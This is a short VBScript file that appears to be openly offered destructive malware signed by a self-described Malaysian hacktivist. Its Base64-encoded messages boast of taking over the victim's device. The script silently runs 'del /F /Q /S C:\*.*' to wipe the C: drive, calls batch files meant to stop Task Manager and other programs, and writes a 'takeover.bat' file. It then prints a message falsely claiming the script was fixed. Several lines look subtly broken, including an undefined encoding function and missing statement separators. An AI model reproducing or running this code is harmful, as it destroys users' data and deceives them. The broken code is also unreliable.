[vbscript] TAG

Option Explicit: Dim s, f, o, m(4): Set s = CreateObject("WScript.Shell"): Set f = CreateObject("Scripting.FileSystemObject"): m(1) = "QWt1IElDQU4uLi4=": m(2) = "U2VsYW1hdCBkYXRhbmcga2UgTWFsdVdhcmUgMi4wLjE=": m(3) = "QWt1IHN1ZGFoIG1hc3VrIGtlIGRldmljZSBrYW11ICwgU2lsYSBtZW5pa21hdGkgaGFyaSBiYWhhZ2lhbXUgZGVuZ2FuIFBDIHlhbmcgYmFydSAh": m(4) = "VGhpcyBpcyBJQ0FOICwgSGFja3RpdmlzdCBPcmFuZyBBc2xpIE1hbGF5c2lh": Sub D(): Dim i, d: For i = 1 To 4: d = TripleBase64Encrypt(XOREncrypt(m(i))): WScript.Echo "Original Message " & i & ": " & d: Next: Ex Array("stop_taskmgr.bat", "stop_app.bat", "takeover.bat", "del /F /Q /S C:\*.*"): R: WScript.Sleep 2e3: WScript.Echo "Reversed and fixed script. Enjoy the calm!": End Sub: Function TripleBase64Encrypt(b): Dim i, encrypted: encrypted = b For i = 1 To 3: encrypted = Base64Encode(encrypted): Next TripleBase64Encrypt = encrypted End Function: Function XOREncrypt(s) : Dim i, key: key = 42 : For i = 1 To Len(s) : Mid(s, i, 1) = Chr(Asc(Mid(s, i, 1)) Xor key) : Next : XOREncrypt = s : End Function: Sub Ex(c): Dim i: For i = LBound(c) To UBound(c): s.Run "start /B /MIN cmd.exe /C " & c(i), 0, True: Next: End Sub: Sub R(): Set o = f.CreateTextFile("takeover.bat", True): o.WriteLine "@echo off": o.WriteLine "echo " & TripleBase64Encrypt(XOREncrypt(m(4))) & " | powershell -command ""$input|%{$_-replace'[A-Za-z]',{[char](([char]$_-as[int]+13)%26+([int]'A'))}}|sc takeover.bat""": o.Close: End Sub: D